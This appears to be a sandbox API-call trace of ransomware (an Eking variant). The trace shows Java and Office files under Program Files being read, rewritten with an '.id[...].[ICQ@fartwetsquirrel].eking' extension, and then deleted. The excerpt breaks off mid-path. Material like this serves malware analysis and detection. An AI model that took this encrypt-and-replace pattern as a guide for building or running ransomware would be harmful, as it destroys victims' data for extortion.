[0248.615] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x38c [0248.616] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x62, lpOverlapped=0x0) returned 1 [0248.618] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x70, lpOverlapped=0x0) returned 1 [0248.806] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0248.806] CloseHandle (hObject=0x398) returned 1 [0248.807] CloseHandle (hObject=0x38c) returned 1 [0248.807] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0 [0248.808] SetEvent (hEvent=0x2b8) returned 1 [0248.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.810] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1210) returned 1 [0248.810] CloseHandle (hObject=0x38c) returned 1 [0248.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0248.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0248.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.811] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.812] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0248.812] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4ba, lpOverlapped=0x0) returned 1 [0248.815] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4c0, lpOverlapped=0x0) returned 1 [0248.816] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0248.816] CloseHandle (hObject=0x38c) returned 1 [0248.816] CloseHandle (hObject=0x398) returned 1 [0248.817] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0 [0248.817] SetEvent (hEvent=0x2b8) returned 1 [0248.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.818] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=105500) returned 1 [0248.818] CloseHandle (hObject=0x398) returned 1 [0248.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0248.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0248.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.819] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.819] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x38c [0248.822] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x19c1c, lpOverlapped=0x0) returned 1 [0248.830] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x19c20, lpOverlapped=0x0) returned 1 [0248.833] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0248.833] CloseHandle (hObject=0x398) returned 1 [0248.834] CloseHandle (hObject=0x38c) returned 1 [0248.834] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0 [0248.835] SetEvent (hEvent=0x2b8) returned 1 [0248.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.836] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8400) returned 1 [0248.836] CloseHandle (hObject=0x38c) returned 1 [0248.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0248.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0248.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.837] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.837] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0248.838] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x20d0, lpOverlapped=0x0) returned 1 [0248.850] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x20e0, lpOverlapped=0x0) returned 1 [0248.851] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0248.851] CloseHandle (hObject=0x38c) returned 1 [0248.852] CloseHandle (hObject=0x398) returned 1 [0248.852] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0 [0248.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.867] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=46) returned 1 [0248.867] CloseHandle (hObject=0x398) returned 1 [0248.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0248.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0248.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.868] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.868] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x38c [0249.048] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2e, lpOverlapped=0x0) returned 1 [0249.050] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x30, lpOverlapped=0x0) returned 1 [0249.051] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0249.051] CloseHandle (hObject=0x398) returned 1 [0249.051] CloseHandle (hObject=0x38c) returned 1 [0249.391] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0 [0249.391] SetEvent (hEvent=0x2b8) returned 1 [0249.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0249.428] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=955) returned 1 [0249.428] CloseHandle (hObject=0x38c) returned 1 [0249.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0249.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0249.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.433] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.433] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x38c [0249.434] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3bb, lpOverlapped=0x0) returned 1 [0249.436] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3c0, lpOverlapped=0x0) returned 1 [0249.437] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0249.437] CloseHandle (hObject=0x374) returned 1 [0249.437] CloseHandle (hObject=0x38c) returned 1 [0249.438] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0 [0249.438] SetEvent (hEvent=0x2b8) returned 1 [0249.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0249.441] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=174528) returned 1 [0249.441] CloseHandle (hObject=0x38c) returned 1 [0249.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0249.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0249.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0249.442] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.442] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0249.448] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0249.603] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2a9d0, lpOverlapped=0x0) returned 1 [0249.609] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0249.609] CloseHandle (hObject=0x38c) returned 1 [0249.609] CloseHandle (hObject=0x374) returned 1 [0249.610] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0 [0249.611] SetEvent (hEvent=0x2b8) returned 1 [0249.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.623] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=387356) returned 1 [0249.623] CloseHandle (hObject=0x374) returned 1 [0249.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0249.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0249.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.624] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.625] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0249.632] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x5e91c, lpOverlapped=0x0) returned 1 [0249.689] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x5e920, lpOverlapped=0x0) returned 1 [0249.701] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0249.701] CloseHandle (hObject=0x374) returned 1 [0249.702] CloseHandle (hObject=0x38c) returned 1 [0249.702] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0 [0249.703] SetEvent (hEvent=0x2b8) returned 1 [0249.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft 